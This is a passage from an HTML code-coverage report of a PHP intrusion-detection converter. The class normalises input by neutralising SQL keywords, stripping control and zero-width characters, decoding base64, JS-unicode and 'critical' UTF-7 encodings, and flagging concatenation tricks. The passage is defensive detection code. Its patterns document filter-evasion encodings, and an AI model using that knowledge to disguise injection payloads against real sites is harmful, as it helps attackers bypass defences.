-<span class="lineNum" id="container291"><a name="291"></a><a href="#291" id="line291"> 291</a> </span> : public static function convertFromSQLKeywords($value) -<span class="lineNum" id="container292"><a name="292"></a><a href="#292" id="line292"> 292</a> </span> : { -<span class="lineNum" id="container293"><a name="293"></a><a href="#293" id="line293"> 293</a> </span> : $pattern = array('/(?:IS\s+null)|(LIKE\s+null)|' . -<span class="lineNum" id="container294"><a name="294"></a><a href="#294" id="line294"> 294</a> </span><span class="lineCov"> 35 : '(?:(?:^|\W)IN[+\s]*\([\s\d"]+[^()]*\))/ims'); </span> -<span class="lineNum" id="container295"><a name="295"></a><a href="#295" id="line295"> 295</a> </span><span class="lineCov"> 35 : $value = preg_replace($pattern, '"=0', $value); </span> -<span class="lineNum" id="container296"><a name="296"></a><a href="#296" id="line296"> 296</a> </span><span class="lineCov"> 35 : $value = preg_replace('/null,/ims', ',0', $value); </span> -<span class="lineNum" id="container297"><a name="297"></a><a href="#297" id="line297"> 297</a> </span><span class="lineCov"> 35 : $value = preg_replace('/,null/ims', ',0', $value); </span> -<span class="lineNum" id="container298"><a name="298"></a><a href="#298" id="line298"> 298</a> </span> : $pattern = array('/[^\w,]NULL|\\\N|TRUE|FALSE|UTC_TIME|' . -<span class="lineNum" id="container299"><a name="299"></a><a href="#299" id="line299"> 299</a> </span><span class="lineCov"> 35 : 'LOCALTIME(?:STAMP)?|CURRENT_\w+|BINARY|' . </span> -<span class="lineNum" id="container300"><a name="300"></a><a href="#300" id="line300"> 300</a> </span><span class="lineCov"> 35 : '(?:(?:ASCII|SOUNDEX|' . </span> -<span class="lineNum" id="container301"><a name="301"></a><a href="#301" id="line301"> 301</a> </span><span class="lineCov"> 35 : 'MD5|R?LIKE)[+\s]*\([^()]+\))|(?:-+\d)/ims'); </span> -<span class="lineNum" id="container302"><a name="302"></a><a href="#302" id="line302"> 302</a> </span><span class="lineCov"> 35 : $value = preg_replace($pattern, 0, $value); </span> -<span class="lineNum" id="container303"><a name="303"></a><a href="#303" id="line303"> 303</a> </span> : $pattern = array('/(?:NOT\s+BETWEEN)|(?:IS\s+NOT)|(?:NOT\s+IN)|' . -<span class="lineNum" id="container304"><a name="304"></a><a href="#304" id="line304"> 304</a> </span><span class="lineCov"> 35 : '(?:XOR|\WDIV\W|\WNOT\W|<>|RLIKE(?:\s+BINARY)?)|' . </span> -<span class="lineNum" id="container305"><a name="305"></a><a href="#305" id="line305"> 305</a> </span><span class="lineCov"> 35 : '(?:REGEXP\s+BINARY)|' . </span> -<span class="lineNum" id="container306"><a name="306"></a><a href="#306" id="line306"> 306</a> </span><span class="lineCov"> 35 : '(?:SOUNDS\s+LIKE)/ims'); </span> -<span class="lineNum" id="container307"><a name="307"></a><a href="#307" id="line307"> 307</a> </span><span class="lineCov"> 35 : $value = preg_replace($pattern, '!', $value); </span> -<span class="lineNum" id="container308"><a name="308"></a><a href="#308" id="line308"> 308</a> </span><span class="lineCov"> 35 : $value = preg_replace('/"\s+\d/', '"', $value); </span> -<span class="lineNum" id="container309"><a name="309"></a><a href="#309" id="line309"> 309</a> </span> : -<span class="lineNum" id="container310"><a name="310"></a><a href="#310" id="line310"> 310</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container311"><a name="311"></a><a href="#311" id="line311"> 311</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container312"><a name="312"></a><a href="#312" id="line312"> 312</a> </span> : -<span class="lineNum" id="container313"><a name="313"></a><a href="#313" id="line313"> 313</a> </span> : /** -<span class="lineNum" id="container314"><a name="314"></a><a href="#314" id="line314"> 314</a> </span> : * Detects nullbytes and controls chars via ord() -<span class="lineNum" id="container315"><a name="315"></a><a href="#315" id="line315"> 315</a> </span> : * -<span class="lineNum" id="container316"><a name="316"></a><a href="#316" id="line316"> 316</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container317"><a name="317"></a><a href="#317" id="line317"> 317</a> </span> : * -<span class="lineNum" id="container318"><a name="318"></a><a href="#318" id="line318"> 318</a> </span> : * @static -<span class="lineNum" id="container319"><a name="319"></a><a href="#319" id="line319"> 319</a> </span> : * @return string -<span class="lineNum" id="container320"><a name="320"></a><a href="#320" id="line320"> 320</a> </span> : */ -<span class="lineNum" id="container321"><a name="321"></a><a href="#321" id="line321"> 321</a> </span> : public static function convertFromControlChars($value) -<span class="lineNum" id="container322"><a name="322"></a><a href="#322" id="line322"> 322</a> </span> : { -<span class="lineNum" id="container323"><a name="323"></a><a href="#323" id="line323"> 323</a> </span> : // critical ctrl values -<span class="lineNum" id="container324"><a name="324"></a><a href="#324" id="line324"> 324</a> </span><span class="lineCov"> 35 : $search = array(chr(0), chr(1), chr(2), </span> -<span class="lineNum" id="container325"><a name="325"></a><a href="#325" id="line325"> 325</a> </span><span class="lineCov"> 35 : chr(3), chr(4), chr(5), </span> -<span class="lineNum" id="container326"><a name="326"></a><a href="#326" id="line326"> 326</a> </span><span class="lineCov"> 35 : chr(6), chr(7), chr(8), </span> -<span class="lineNum" id="container327"><a name="327"></a><a href="#327" id="line327"> 327</a> </span><span class="lineCov"> 35 : chr(11), chr(12), chr(14), </span> -<span class="lineNum" id="container328"><a name="328"></a><a href="#328" id="line328"> 328</a> </span><span class="lineCov"> 35 : chr(15), chr(16), chr(17), </span> -<span class="lineNum" id="container329"><a name="329"></a><a href="#329" id="line329"> 329</a> </span><span class="lineCov"> 35 : chr(18), chr(19)); </span> -<span class="lineNum" id="container330"><a name="330"></a><a href="#330" id="line330"> 330</a> </span><span class="lineCov"> 35 : $value = str_replace($search, '%00', $value); </span> -<span class="lineNum" id="container331"><a name="331"></a><a href="#331" id="line331"> 331</a> </span><span class="lineCov"> 35 : $urlencoded = urlencode($value); </span> -<span class="lineNum" id="container332"><a name="332"></a><a href="#332" id="line332"> 332</a> </span> : -<span class="lineNum" id="container333"><a name="333"></a><a href="#333" id="line333"> 333</a> </span> : //take care for malicious unicode characters -<span class="lineNum" id="container334"><a name="334"></a><a href="#334" id="line334"> 334</a> </span><span class="lineCov"> 35 : $value = urldecode(preg_replace('/(?:%E(?:2|3)%8(?:0|1)%(?:A|8|9)' . </span> -<span class="lineNum" id="container335"><a name="335"></a><a href="#335" id="line335"> 335</a> </span><span class="lineCov"> 35 : '\w|%EF%BB%BF|%EF%BF%BD)|(?:&#(?:65|8)\d{3};?)/i', null, </span> -<span class="lineNum" id="container336"><a name="336"></a><a href="#336" id="line336"> 336</a> </span><span class="lineCov"> 35 : $urlencoded)); </span> -<span class="lineNum" id="container337"><a name="337"></a><a href="#337" id="line337"> 337</a> </span> : -<span class="lineNum" id="container338"><a name="338"></a><a href="#338" id="line338"> 338</a> </span><span class="lineCov"> 35 : $value = preg_replace('/(?:&[#x]*(200|820|200|820|zwn?j|lrm|rlm)\w?;?)/i', null,</span> -<span class="lineNum" id="container339"><a name="339"></a><a href="#339" id="line339"> 339</a> </span><span class="lineCov"> 35 : $value); </span> -<span class="lineNum" id="container340"><a name="340"></a><a href="#340" id="line340"> 340</a> </span> : -<span class="lineNum" id="container341"><a name="341"></a><a href="#341" id="line341"> 341</a> </span><span class="lineCov"> 35 : $value = preg_replace('/(?:&#(?:65|8)\d{3};?)|' . </span> -<span class="lineNum" id="container342"><a name="342"></a><a href="#342" id="line342"> 342</a> </span><span class="lineCov"> 35 : '(?:&#(?:56|7)3\d{2};?)|' . </span> -<span class="lineNum" id="container343"><a name="343"></a><a href="#343" id="line343"> 343</a> </span><span class="lineCov"> 35 : '(?:&#x(?:fe|20)\w{2};?)|' . </span> -<span class="lineNum" id="container344"><a name="344"></a><a href="#344" id="line344"> 344</a> </span><span class="lineCov"> 35 : '(?:&#x(?:d[c-f])\w{2};?)/i', null, </span> -<span class="lineNum" id="container345"><a name="345"></a><a href="#345" id="line345"> 345</a> </span><span class="lineCov"> 35 : $value); </span> -<span class="lineNum" id="container346"><a name="346"></a><a href="#346" id="line346"> 346</a> </span> : -<span class="lineNum" id="container347"><a name="347"></a><a href="#347" id="line347"> 347</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container348"><a name="348"></a><a href="#348" id="line348"> 348</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container349"><a name="349"></a><a href="#349" id="line349"> 349</a> </span> : -<span class="lineNum" id="container350"><a name="350"></a><a href="#350" id="line350"> 350</a> </span> : /** -<span class="lineNum" id="container351"><a name="351"></a><a href="#351" id="line351"> 351</a> </span> : * This method matches and translates base64 strings and fragments -<span class="lineNum" id="container352"><a name="352"></a><a href="#352" id="line352"> 352</a> </span> : * used in data URIs -<span class="lineNum" id="container353"><a name="353"></a><a href="#353" id="line353"> 353</a> </span> : * -<span class="lineNum" id="container354"><a name="354"></a><a href="#354" id="line354"> 354</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container355"><a name="355"></a><a href="#355" id="line355"> 355</a> </span> : * -<span class="lineNum" id="container356"><a name="356"></a><a href="#356" id="line356"> 356</a> </span> : * @static -<span class="lineNum" id="container357"><a name="357"></a><a href="#357" id="line357"> 357</a> </span> : * @return string -<span class="lineNum" id="container358"><a name="358"></a><a href="#358" id="line358"> 358</a> </span> : */ -<span class="lineNum" id="container359"><a name="359"></a><a href="#359" id="line359"> 359</a> </span> : public static function convertFromNestedBase64($value) -<span class="lineNum" id="container360"><a name="360"></a><a href="#360" id="line360"> 360</a> </span> : { -<span class="lineNum" id="container361"><a name="361"></a><a href="#361" id="line361"> 361</a> </span><span class="lineCov"> 35 : $matches = array(); </span> -<span class="lineNum" id="container362"><a name="362"></a><a href="#362" id="line362"> 362</a> </span><span class="lineCov"> 35 : preg_match_all('/(?:^|[,&?])\s*([a-z0-9]{30,}=*)(?:\W|$)/im', </span> -<span class="lineNum" id="container363"><a name="363"></a><a href="#363" id="line363"> 363</a> </span><span class="lineCov"> 35 : $value, </span> -<span class="lineNum" id="container364"><a name="364"></a><a href="#364" id="line364"> 364</a> </span><span class="lineCov"> 35 : $matches); </span> -<span class="lineNum" id="container365"><a name="365"></a><a href="#365" id="line365"> 365</a> </span> : -<span class="lineNum" id="container366"><a name="366"></a><a href="#366" id="line366"> 366</a> </span><span class="lineCov"> 35 : foreach ($matches[1] as $item) { </span> -<span class="lineNum" id="container367"><a name="367"></a><a href="#367" id="line367"> 367</a> </span><span class="lineCov"> 2 : if (isset($item) && !preg_match('/[a-f0-9]{32}/i', $item)) { </span> -<span class="lineNum" id="container368"><a name="368"></a><a href="#368" id="line368"> 368</a> </span><span class="lineCov"> 2 : $value = str_replace($item, base64_decode($item), $value); </span> -<span class="lineNum" id="container369"><a name="369"></a><a href="#369" id="line369"> 369</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container370"><a name="370"></a><a href="#370" id="line370"> 370</a> </span><span class="lineCov"> 35 : } </span> -<span class="lineNum" id="container371"><a name="371"></a><a href="#371" id="line371"> 371</a> </span> : -<span class="lineNum" id="container372"><a name="372"></a><a href="#372" id="line372"> 372</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container373"><a name="373"></a><a href="#373" id="line373"> 373</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container374"><a name="374"></a><a href="#374" id="line374"> 374</a> </span> : -<span class="lineNum" id="container375"><a name="375"></a><a href="#375" id="line375"> 375</a> </span> : /** -<span class="lineNum" id="container376"><a name="376"></a><a href="#376" id="line376"> 376</a> </span> : * Detects nullbytes and controls chars via ord() -<span class="lineNum" id="container377"><a name="377"></a><a href="#377" id="line377"> 377</a> </span> : * -<span class="lineNum" id="container378"><a name="378"></a><a href="#378" id="line378"> 378</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container379"><a name="379"></a><a href="#379" id="line379"> 379</a> </span> : * -<span class="lineNum" id="container380"><a name="380"></a><a href="#380" id="line380"> 380</a> </span> : * @static -<span class="lineNum" id="container381"><a name="381"></a><a href="#381" id="line381"> 381</a> </span> : * @return string -<span class="lineNum" id="container382"><a name="382"></a><a href="#382" id="line382"> 382</a> </span> : */ -<span class="lineNum" id="container383"><a name="383"></a><a href="#383" id="line383"> 383</a> </span> : public static function convertFromOutOfRangeChars($value) -<span class="lineNum" id="container384"><a name="384"></a><a href="#384" id="line384"> 384</a> </span> : { -<span class="lineNum" id="container385"><a name="385"></a><a href="#385" id="line385"> 385</a> </span><span class="lineCov"> 35 : $values = str_split($value); </span> -<span class="lineNum" id="container386"><a name="386"></a><a href="#386" id="line386"> 386</a> </span><span class="lineCov"> 35 : foreach ($values as $item) { </span> -<span class="lineNum" id="container387"><a name="387"></a><a href="#387" id="line387"> 387</a> </span><span class="lineCov"> 35 : if (ord($item) >= 127) { </span> -<span class="lineNum" id="container388"><a name="388"></a><a href="#388" id="line388"> 388</a> </span><span class="lineCov"> 8 : $value = str_replace($item, 'U', $value); </span> -<span class="lineNum" id="container389"><a name="389"></a><a href="#389" id="line389"> 389</a> </span><span class="lineCov"> 8 : } </span> -<span class="lineNum" id="container390"><a name="390"></a><a href="#390" id="line390"> 390</a> </span><span class="lineCov"> 35 : } </span> -<span class="lineNum" id="container391"><a name="391"></a><a href="#391" id="line391"> 391</a> </span> : -<span class="lineNum" id="container392"><a name="392"></a><a href="#392" id="line392"> 392</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container393"><a name="393"></a><a href="#393" id="line393"> 393</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container394"><a name="394"></a><a href="#394" id="line394"> 394</a> </span> : -<span class="lineNum" id="container395"><a name="395"></a><a href="#395" id="line395"> 395</a> </span> : /** -<span class="lineNum" id="container396"><a name="396"></a><a href="#396" id="line396"> 396</a> </span> : * Strip XML patterns -<span class="lineNum" id="container397"><a name="397"></a><a href="#397" id="line397"> 397</a> </span> : * -<span class="lineNum" id="container398"><a name="398"></a><a href="#398" id="line398"> 398</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container399"><a name="399"></a><a href="#399" id="line399"> 399</a> </span> : * -<span class="lineNum" id="container400"><a name="400"></a><a href="#400" id="line400"> 400</a> </span> : * @static -<span class="lineNum" id="container401"><a name="401"></a><a href="#401" id="line401"> 401</a> </span> : * @return string -<span class="lineNum" id="container402"><a name="402"></a><a href="#402" id="line402"> 402</a> </span> : */ -<span class="lineNum" id="container403"><a name="403"></a><a href="#403" id="line403"> 403</a> </span> : public static function convertFromXML($value) -<span class="lineNum" id="container404"><a name="404"></a><a href="#404" id="line404"> 404</a> </span> : { -<span class="lineNum" id="container405"><a name="405"></a><a href="#405" id="line405"> 405</a> </span><span class="lineCov"> 35 : $converted = strip_tags($value); </span> -<span class="lineNum" id="container406"><a name="406"></a><a href="#406" id="line406"> 406</a> </span> : -<span class="lineNum" id="container407"><a name="407"></a><a href="#407" id="line407"> 407</a> </span><span class="lineCov"> 35 : if ($converted && ($converted != $value)) { </span> -<span class="lineNum" id="container408"><a name="408"></a><a href="#408" id="line408"> 408</a> </span><span class="lineCov"> 24 : return $value . "\n" . $converted; </span> -<span class="lineNum" id="container409"><a name="409"></a><a href="#409" id="line409"> 409</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container410"><a name="410"></a><a href="#410" id="line410"> 410</a> </span><span class="lineCov"> 30 : return $value; </span> -<span class="lineNum" id="container411"><a name="411"></a><a href="#411" id="line411"> 411</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container412"><a name="412"></a><a href="#412" id="line412"> 412</a> </span> : -<span class="lineNum" id="container413"><a name="413"></a><a href="#413" id="line413"> 413</a> </span> : /** -<span class="lineNum" id="container414"><a name="414"></a><a href="#414" id="line414"> 414</a> </span> : * This method converts JS unicode code points to -<span class="lineNum" id="container415"><a name="415"></a><a href="#415" id="line415"> 415</a> </span> : * regular characters -<span class="lineNum" id="container416"><a name="416"></a><a href="#416" id="line416"> 416</a> </span> : * -<span class="lineNum" id="container417"><a name="417"></a><a href="#417" id="line417"> 417</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container418"><a name="418"></a><a href="#418" id="line418"> 418</a> </span> : * -<span class="lineNum" id="container419"><a name="419"></a><a href="#419" id="line419"> 419</a> </span> : * @static -<span class="lineNum" id="container420"><a name="420"></a><a href="#420" id="line420"> 420</a> </span> : * @return string -<span class="lineNum" id="container421"><a name="421"></a><a href="#421" id="line421"> 421</a> </span> : */ -<span class="lineNum" id="container422"><a name="422"></a><a href="#422" id="line422"> 422</a> </span> : public static function convertFromJSUnicode($value) -<span class="lineNum" id="container423"><a name="423"></a><a href="#423" id="line423"> 423</a> </span> : { -<span class="lineNum" id="container424"><a name="424"></a><a href="#424" id="line424"> 424</a> </span><span class="lineCov"> 35 : $matches = array(); </span> -<span class="lineNum" id="container425"><a name="425"></a><a href="#425" id="line425"> 425</a> </span> : -<span class="lineNum" id="container426"><a name="426"></a><a href="#426" id="line426"> 426</a> </span><span class="lineCov"> 35 : preg_match_all('/\\\u[0-9a-f]{4}/ims', $value, $matches); </span> -<span class="lineNum" id="container427"><a name="427"></a><a href="#427" id="line427"> 427</a> </span> : -<span class="lineNum" id="container428"><a name="428"></a><a href="#428" id="line428"> 428</a> </span><span class="lineCov"> 35 : if (!empty($matches[0])) { </span> -<span class="lineNum" id="container429"><a name="429"></a><a href="#429" id="line429"> 429</a> </span><span class="lineNoCov"> 0 : foreach ($matches[0] as $match) { </span> -<span class="lineNum" id="container430"><a name="430"></a><a href="#430" id="line430"> 430</a> </span><span class="lineNoCov"> 0 : $value = str_replace($match, </span> -<span class="lineNum" id="container431"><a name="431"></a><a href="#431" id="line431"> 431</a> </span><span class="lineNoCov"> 0 : chr(hexdec(substr($match, 2, 4))), </span> -<span class="lineNum" id="container432"><a name="432"></a><a href="#432" id="line432"> 432</a> </span><span class="lineNoCov"> 0 : $value); </span> -<span class="lineNum" id="container433"><a name="433"></a><a href="#433" id="line433"> 433</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container434"><a name="434"></a><a href="#434" id="line434"> 434</a> </span><span class="lineNoCov"> 0 : $value .= "\n\u0001"; </span> -<span class="lineNum" id="container435"><a name="435"></a><a href="#435" id="line435"> 435</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container436"><a name="436"></a><a href="#436" id="line436"> 436</a> </span> : -<span class="lineNum" id="container437"><a name="437"></a><a href="#437" id="line437"> 437</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container438"><a name="438"></a><a href="#438" id="line438"> 438</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container439"><a name="439"></a><a href="#439" id="line439"> 439</a> </span> : -<span class="lineNum" id="container440"><a name="440"></a><a href="#440" id="line440"> 440</a> </span> : -<span class="lineNum" id="container441"><a name="441"></a><a href="#441" id="line441"> 441</a> </span> : /** -<span class="lineNum" id="container442"><a name="442"></a><a href="#442" id="line442"> 442</a> </span> : * Converts relevant UTF-7 tags to UTF-8 -<span class="lineNum" id="container443"><a name="443"></a><a href="#443" id="line443"> 443</a> </span> : * -<span class="lineNum" id="container444"><a name="444"></a><a href="#444" id="line444"> 444</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container445"><a name="445"></a><a href="#445" id="line445"> 445</a> </span> : * -<span class="lineNum" id="container446"><a name="446"></a><a href="#446" id="line446"> 446</a> </span> : * @static -<span class="lineNum" id="container447"><a name="447"></a><a href="#447" id="line447"> 447</a> </span> : * @return string -<span class="lineNum" id="container448"><a name="448"></a><a href="#448" id="line448"> 448</a> </span> : */ -<span class="lineNum" id="container449"><a name="449"></a><a href="#449" id="line449"> 449</a> </span> : public static function convertFromUTF7($value) -<span class="lineNum" id="container450"><a name="450"></a><a href="#450" id="line450"> 450</a> </span> : { -<span class="lineNum" id="container451"><a name="451"></a><a href="#451" id="line451"> 451</a> </span><span class="lineCov"> 35 : if(preg_match('/\+A\w+-/m', $value)) { </span> -<span class="lineNum" id="container452"><a name="452"></a><a href="#452" id="line452"> 452</a> </span><span class="lineCov"> 1 : if (function_exists('mb_convert_encoding')) { </span> -<span class="lineNum" id="container453"><a name="453"></a><a href="#453" id="line453"> 453</a> </span><span class="lineCov"> 1 : if(version_compare(PHP_VERSION, '5.2.8', '<')) { </span> -<span class="lineNum" id="container454"><a name="454"></a><a href="#454" id="line454"> 454</a> </span><span class="lineNoCov"> 0 : $tmp_chars = str_split($value); </span> -<span class="lineNum" id="container455"><a name="455"></a><a href="#455" id="line455"> 455</a> </span><span class="lineNoCov"> 0 : $value = ''; </span> -<span class="lineNum" id="container456"><a name="456"></a><a href="#456" id="line456"> 456</a> </span><span class="lineNoCov"> 0 : foreach($tmp_chars as $char) { </span> -<span class="lineNum" id="container457"><a name="457"></a><a href="#457" id="line457"> 457</a> </span><span class="lineNoCov"> 0 : if(ord($char) <= 127) { </span> -<span class="lineNum" id="container458"><a name="458"></a><a href="#458" id="line458"> 458</a> </span><span class="lineNoCov"> 0 : $value .= $char; </span> -<span class="lineNum" id="container459"><a name="459"></a><a href="#459" id="line459"> 459</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container460"><a name="460"></a><a href="#460" id="line460"> 460</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container461"><a name="461"></a><a href="#461" id="line461"> 461</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container462"><a name="462"></a><a href="#462" id="line462"> 462</a> </span><span class="lineCov"> 1 : $value .= "\n" . mb_convert_encoding($value, 'UTF-8', 'UTF-7'); </span> -<span class="lineNum" id="container463"><a name="463"></a><a href="#463" id="line463"> 463</a> </span><span class="lineCov"> 1 : } else { </span> -<span class="lineNum" id="container464"><a name="464"></a><a href="#464" id="line464"> 464</a> </span> : //list of all critical UTF7 codepoints -<span class="lineNum" id="container465"><a name="465"></a><a href="#465" id="line465"> 465</a> </span> : $schemes = array( -<span class="lineNum" id="container466"><a name="466"></a><a href="#466" id="line466"> 466</a> </span><span class="lineNoCov"> 0 : '+ACI-' => '"', </span> -<span class="lineNum" id="container467"><a name="467"></a><a href="#467" id="line467"> 467</a> </span><span class="lineNoCov"> 0 : '+ADw-' => '<', </span> -<span class="lineNum" id="container468"><a name="468"></a><a href="#468" id="line468"> 468</a> </span><span class="lineNoCov"> 0 : '+AD4-' => '>', </span> -<span class="lineNum" id="container469"><a name="469"></a><a href="#469" id="line469"> 469</a> </span><span class="lineNoCov"> 0 : '+AFs-' => '[', </span> -<span class="lineNum" id="container470"><a name="470"></a><a href="#470" id="line470"> 470</a> </span><span class="lineNoCov"> 0 : '+AF0-' => ']', </span> -<span class="lineNum" id="container471"><a name="471"></a><a href="#471" id="line471"> 471</a> </span><span class="lineNoCov"> 0 : '+AHs-' => '{', </span> -<span class="lineNum" id="container472"><a name="472"></a><a href="#472" id="line472"> 472</a> </span><span class="lineNoCov"> 0 : '+AH0-' => '}', </span> -<span class="lineNum" id="container473"><a name="473"></a><a href="#473" id="line473"> 473</a> </span><span class="lineNoCov"> 0 : '+AFw-' => '\\', </span> -<span class="lineNum" id="container474"><a name="474"></a><a href="#474" id="line474"> 474</a> </span><span class="lineNoCov"> 0 : '+ADs-' => ';', </span> -<span class="lineNum" id="container475"><a name="475"></a><a href="#475" id="line475"> 475</a> </span><span class="lineNoCov"> 0 : '+ACM-' => '#', </span> -<span class="lineNum" id="container476"><a name="476"></a><a href="#476" id="line476"> 476</a> </span><span class="lineNoCov"> 0 : '+ACY-' => '&', </span> -<span class="lineNum" id="container477"><a name="477"></a><a href="#477" id="line477"> 477</a> </span><span class="lineNoCov"> 0 : '+ACU-' => '%', </span> -<span class="lineNum" id="container478"><a name="478"></a><a href="#478" id="line478"> 478</a> </span><span class="lineNoCov"> 0 : '+ACQ-' => '$', </span> -<span class="lineNum" id="container479"><a name="479"></a><a href="#479" id="line479"> 479</a> </span><span class="lineNoCov"> 0 : '+AD0-' => '=', </span> -<span class="lineNum" id="container480"><a name="480"></a><a href="#480" id="line480"> 480</a> </span><span class="lineNoCov"> 0 : '+AGA-' => '`', </span> -<span class="lineNum" id="container481"><a name="481"></a><a href="#481" id="line481"> 481</a> </span><span class="lineNoCov"> 0 : '+ALQ-' => '"', </span> -<span class="lineNum" id="container482"><a name="482"></a><a href="#482" id="line482"> 482</a> </span><span class="lineNoCov"> 0 : '+IBg-' => '"', </span> -<span class="lineNum" id="container483"><a name="483"></a><a href="#483" id="line483"> 483</a> </span><span class="lineNoCov"> 0 : '+IBk-' => '"', </span> -<span class="lineNum" id="container484"><a name="484"></a><a href="#484" id="line484"> 484</a> </span><span class="lineNoCov"> 0 : '+AHw-' => '|', </span> -<span class="lineNum" id="container485"><a name="485"></a><a href="#485" id="line485"> 485</a> </span><span class="lineNoCov"> 0 : '+ACo-' => '*', </span> -<span class="lineNum" id="container486"><a name="486"></a><a href="#486" id="line486"> 486</a> </span><span class="lineNoCov"> 0 : '+AF4-' => '^', </span> -<span class="lineNum" id="container487"><a name="487"></a><a href="#487" id="line487"> 487</a> </span><span class="lineNoCov"> 0 : '+ACIAPg-' => '">', </span> -<span class="lineNum" id="container488"><a name="488"></a><a href="#488" id="line488"> 488</a> </span> : '+ACIAPgA8-' => '">' -<span class="lineNum" id="container489"><a name="489"></a><a href="#489" id="line489"> 489</a> </span><span class="lineNoCov"> 0 : ); </span> -<span class="lineNum" id="container490"><a name="490"></a><a href="#490" id="line490"> 490</a> </span> : -<span class="lineNum" id="container491"><a name="491"></a><a href="#491" id="line491"> 491</a> </span><span class="lineNoCov"> 0 : $value = str_ireplace(array_keys($schemes), </span> -<span class="lineNum" id="container492"><a name="492"></a><a href="#492" id="line492"> 492</a> </span><span class="lineNoCov"> 0 : array_values($schemes), $value); </span> -<span class="lineNum" id="container493"><a name="493"></a><a href="#493" id="line493"> 493</a> </span> : } -<span class="lineNum" id="container494"><a name="494"></a><a href="#494" id="line494"> 494</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container495"><a name="495"></a><a href="#495" id="line495"> 495</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container496"><a name="496"></a><a href="#496" id="line496"> 496</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container497"><a name="497"></a><a href="#497" id="line497"> 497</a> </span> : -<span class="lineNum" id="container498"><a name="498"></a><a href="#498" id="line498"> 498</a> </span> : /** -<span class="lineNum" id="container499"><a name="499"></a><a href="#499" id="line499"> 499</a> </span> : * Converts basic concatenations -<span class="lineNum" id="container500"><a name="500"></a><a href="#500" id="line500"> 500</a> </span> : * -<span class="lineNum" id="container501"><a name="501"></a><a href="#501" id="line501"> 501</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container502"><a name="502"></a><a href="#502" id="line502"> 502</a> </span> : * -<span class="lineNum" id="container503"><a name="503"></a><a href="#503" id="line503"> 503</a> </span> : * @static -<span class="lineNum" id="container504"><a name="504"></a><a href="#504" id="line504"> 504</a> </span> : * @return string -<span class="lineNum" id="container505"><a name="505"></a><a href="#505" id="line505"> 505</a> </span> : */ -<span class="lineNum" id="container506"><a name="506"></a><a href="#506" id="line506"> 506</a> </span> : public static function convertConcatenations($value) -<span class="lineNum" id="container507"><a name="507"></a><a href="#507" id="line507"> 507</a> </span> : { -<span class="lineNum" id="container508"><a name="508"></a><a href="#508" id="line508"> 508</a> </span> : //normalize remaining backslashes -<span class="lineNum" id="container509"><a name="509"></a><a href="#509" id="line509"> 509</a> </span><span class="lineCov"> 35 : if ($value != preg_replace('/(\w)\\\/', "$1", $value)) { </span> -<span class="lineNum" id="container510"><a name="510"></a><a href="#510" id="line510"> 510</a> </span><span class="lineCov"> 3 : $value .= preg_replace('/(\w)\\\/', "$1", $value); </span> -<span class="lineNum" id="container511"><a name="511"></a><a href="#511" id="line511"> 511</a> </span><span class="lineCov"> 3 : } </span> -<span class="lineNum" id="container512"><a name="512"></a><a href="#512" id="line512"> 512</a> </span> : -<span class="lineNum" id="container513"><a name="513"></a><a href="#513" id="line513"> 513</a> </span><span class="lineCov"> 35 : $compare = stripslashes($value); </span> -<span class="lineNum" id="container514"><a name="514"></a><a href="#514" id="line514"> 514</a> </span> : -<span class="lineNum" id="container515"><a name="515"></a><a href="#515" id="line515"> 515</a> </span><span class="lineCov"> 35 : $pattern = array('/(?:<\/\w+>\+<\w+>)/s', </span> -<span class="lineNum" id="container516"><a name="516"></a><a href="#516" id="line516"> 516</a> </span><span class="lineCov"> 35 : '/(?:":\d+[^"[]+")/s', </span> -<span class="lineNum" id="container517"><a name="517"></a><a href="#517" id="line517"> 517</a> </span><span class="lineCov"> 35 : '/(?:"?"\+\w+\+")/s', </span> -<span class="lineNum" id="container518"><a name="518"></a><a href="#518" id="line518"> 518</a> </span><span class="lineCov"> 35 : '/(?:"\s*;[^"]+")|(?:";[^"]+:\s*")/s', </span> -<span class="lineNum" id="container519"><a name="519"></a><a href="#519" id="line519"> 519</a> </span><span class="lineCov"> 35 : '/(?:"\s*(?:;|\+).{8,18}:\s*")/s', </span> -<span class="lineNum" id="container520"><a name="520"></a><a href="#520" id="line520"> 520</a> </span><span class="lineCov"> 35 : '/(?:";\w+=)|(?:!""&&")|(?:~)/s', </span> -<span class="lineNum" id="container521"><a name="521"></a><a href="#521" id="line521"> 521</a> </span><span class="lineCov"> 35 : '/(?:"?"\+""?\+?"?)|(?:;\w+=")|(?:"[|&]{2,})/s', </span> -<span class="lineNum" id="container522"><a name="522"></a><a href="#522" id="line522"> 522</a> </span><span class="lineCov"> 35 : '/(?:"\s*\W+")/s', </span> -<span class="lineNum" id="container523"><a name="523"></a><a href="#523" id="line523"> 523</a> </span><span class="lineCov"> 35 : '/(?:";\w\s*\+=\s*\w?\s*")/s', </span> -<span class="lineNum" id="container524"><a name="524"></a><a 